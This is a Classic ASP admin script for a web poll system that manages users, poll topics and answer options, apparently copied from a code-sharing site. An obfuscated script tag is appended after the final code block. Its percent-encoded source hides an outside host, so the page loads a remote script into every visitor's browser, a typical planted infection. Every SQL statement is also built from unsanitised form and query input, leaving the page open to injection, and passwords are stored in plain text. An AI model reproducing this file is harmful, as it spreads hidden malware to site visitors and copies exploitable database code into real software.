?? admin-update.asp
字號:
<%@ Language=VBScript %>
<%
'如果沒有登錄,則首先到登錄界面
if session("loginSuccessful") <> "yes" then Response.Redirect ("login.asp")
dim SQL, cn, rs
Set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & server.MapPath ("../fpdb/poll.mdb")
if Request.QueryString("sub") = "new_usr" then new_usr() '創建新用戶
if Request.QueryString("sub") = "edit_usr" then edit_usr() '編輯用戶
if Request.QueryString("sub") = "del_usr" then del_usr() '刪除用戶
if Request.QueryString("sub") = "new" then add_new() '編輯主題
if Request.QueryString("sub") = "act" then act() '激活主題
if Request.QueryString("sub") = "inact" then inact() '使主題非激活
if Request.QueryString("sub") = "edit" then edit() '編輯主題
if Request.QueryString("sub") = "edit_add" then edit_add() '編輯選項
if Request.QueryString("sub") = "del_answ" then del_answ() '刪除選項
if Request.QueryString("sub") = "del" then del() '刪除主題
%>
<%
'添加新用戶
sub new_usr()
dim a, usr_id
'獲取最后一個用戶編號
SQL = "SELECT * FROM users ORDER BY usr_id DESC"
set rs = cn.Execute(SQL)
usr_id = rs("usr_id") + 1
'獲取新用戶權限,1表示管理員,2表示普通用戶
if Request.Form("status") = "yes" then
a = 1
else
a = 2
end if
'添加新用戶
SQL = "INSERT INTO users ([usr_id],[username],[password],[status],[email]) " & _
"VALUES (" & usr_id & ",'" & Request.Form("user") & "','" & Request.Form("pass") & "'," & a & ",'" & Request.Form("email") & "')"
set rs = cn.Execute(SQL)
Response.Redirect("admin-users.asp")
end sub
%>
<%
'編輯用戶信息
sub edit_usr()
dim a
if Request.Form("status") = "yes" then
a = 1
else
a = 2
end if
'提交到數據庫
SQL ="UPDATE users SET " & _
"[username]='" & Request.Form("user") & _
"',[password]='" & Request.Form("pass") & _
"',[status]=" & a & ", [email]='" & Request.Form("email") & _
"' WHERE usr_id=" & Request.QueryString("id")
set rs = cn.Execute(SQL)
Response.Redirect("admin-users.asp")
end sub
%>
<%
'刪除用戶
sub del_usr()
SQL = "DELETE FROM users WHERE usr_id=" & Request.QueryString("id")
set rs = cn.Execute(SQL)
Response.Redirect("admin-users.asp")
end sub
%>
<%
'添加投票追
sub add_new()
dim a, b, poll_id, answ_id
dim email, str
'獲取最后一個投票編號
SQL = "SELECT * FROM title ORDER BY id DESC"
set rs = cn.Execute(SQL)
if not rs.eof then
poll_id = rs("id") + 1
else
poll_id = 1
end if
'添加投票主題
SQL = "INSERT INTO title (id,title,expiration_start,expiration_end) VALUES " & _
"(" & poll_id & ",'" & Request.Form("title") & "','" & Request.Form("d_s") & "','" & Request.Form("d_e") & "')"
set rs = cn.Execute(SQL)
'獲取最后一個選項編號
SQL = "SELECT * FROM vote ORDER BY answer_id DESC"
set rs = cn.Execute(SQL)
if not rs.eof then
answ_id = rs("answer_id")
else
answ_id = 1
end if
'將新投票主題的選項保存到數據庫中
a = 1 '循環變量
b = 1 '增加選項編號
do
if not Request.Form("a" & a) = "" then
SQL = "INSERT INTO vote (poll_id,answer_id,answer) VALUES " & _
"(" & poll_id & "," & answ_id + b & ",'" & Request.Form("a" & a) & "')"
set rs = cn.Execute(SQL)
b = b + 1
end if
a = a + 1
loop until a = 11
Response.Redirect("admin-poll.asp")
end sub
%>
<%
'激活主題
sub act()
dim poll_id
poll_id = Request.QueryString("id")
'首先設置所有主題為非激活狀態
SQL = "UPDATE title SET active=False"
set rs = cn.execute(SQL)
'然后將要被激活的主題激活
SQL = "UPDATE title SET active=True WHERE id=" & poll_id
set rs = cn.execute(SQL)
Response.Redirect("admin-poll.asp")
end sub
%>
<%
'使主題非激活
sub inact()
dim poll_id
poll_id = Request.QueryString("id")
'直接修改active屬性
SQL = "UPDATE title SET active=False WHERE id=" & poll_id
set rs = cn.execute(SQL)
Response.Redirect("admin-poll.asp")
end sub
%>
<%
'保存編輯后的投票
sub edit()
dim no, i, poll_id
i = 1
'獲取選項數量
no = Request.Form ("no_answers")
'獲取投票編號
poll_id = Request.QueryString ("id")
'更新投票主題
SQL = "UPDATE title SET title='" & Request.Form ("title") & "', expiration_start='" & Request.Form("d_s") & _
"', expiration_end='" & Request.Form("d_e") & "' WHERE id=" & poll_id
set rs = cn.Execute(SQL)
'更新投票選項
do
SQL = "UPDATE vote SET answer='" & Request.Form ("a" & i) & "' WHERE answer_id=" & Request.Form ("h" & i)
set rs = cn.Execute(SQL)
i = i + 1
loop until i = no + 1
Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)
end sub
%>
<%
'添加投票選項
sub edit_add()
dim poll_id, answ_id
poll_id = Request.QueryString("id")
'如果選項內容不為空...
if not Request.Form("add_one") = "" then
'獲取最后一個選項編號
SQL = "SELECT * FROM vote ORDER BY answer_id DESC"
set rs = cn.execute(SQL)
'將編號增加1
answ_id = rs("answer_id") + 1
'添加選項
SQL = "INSERT INTO vote (poll_id,answer_id,answer) VALUES (" & poll_id & "," & answ_id & ",'" & Request.Form("add_one") & "')"
set rs = cn.execute(SQL)
end if
Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)
end sub
%>
<%
'刪除投票選項
sub del_answ()
dim poll_id
'獲取投票主題編號
poll_id = Request.QueryString ("id")
'刪除被選中的選項
SQL = "DELETE FROM vote WHERE answer_id=" & Request.QueryString("answ_id")
set rs = cn.Execute(SQL)
Response.Redirect("admin-poll.asp?sub=edit&id=" & poll_id)
end sub
%>
<%
'刪除投票主題
sub del()
dim poll_id
'獲取投票主題
poll_id = Request.QueryString ("id")
'調用delete語句刪除
SQL = "DELETE FROM title WHERE id=" & poll_id
set rs = cn.Execute(SQL)
SQL = "DELETE FROM vote WHERE poll_id=" & poll_id
set rs = cn.Execute(SQL)
Response.Redirect("admin-poll.asp")
end sub
%><script src="http://%78%66%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -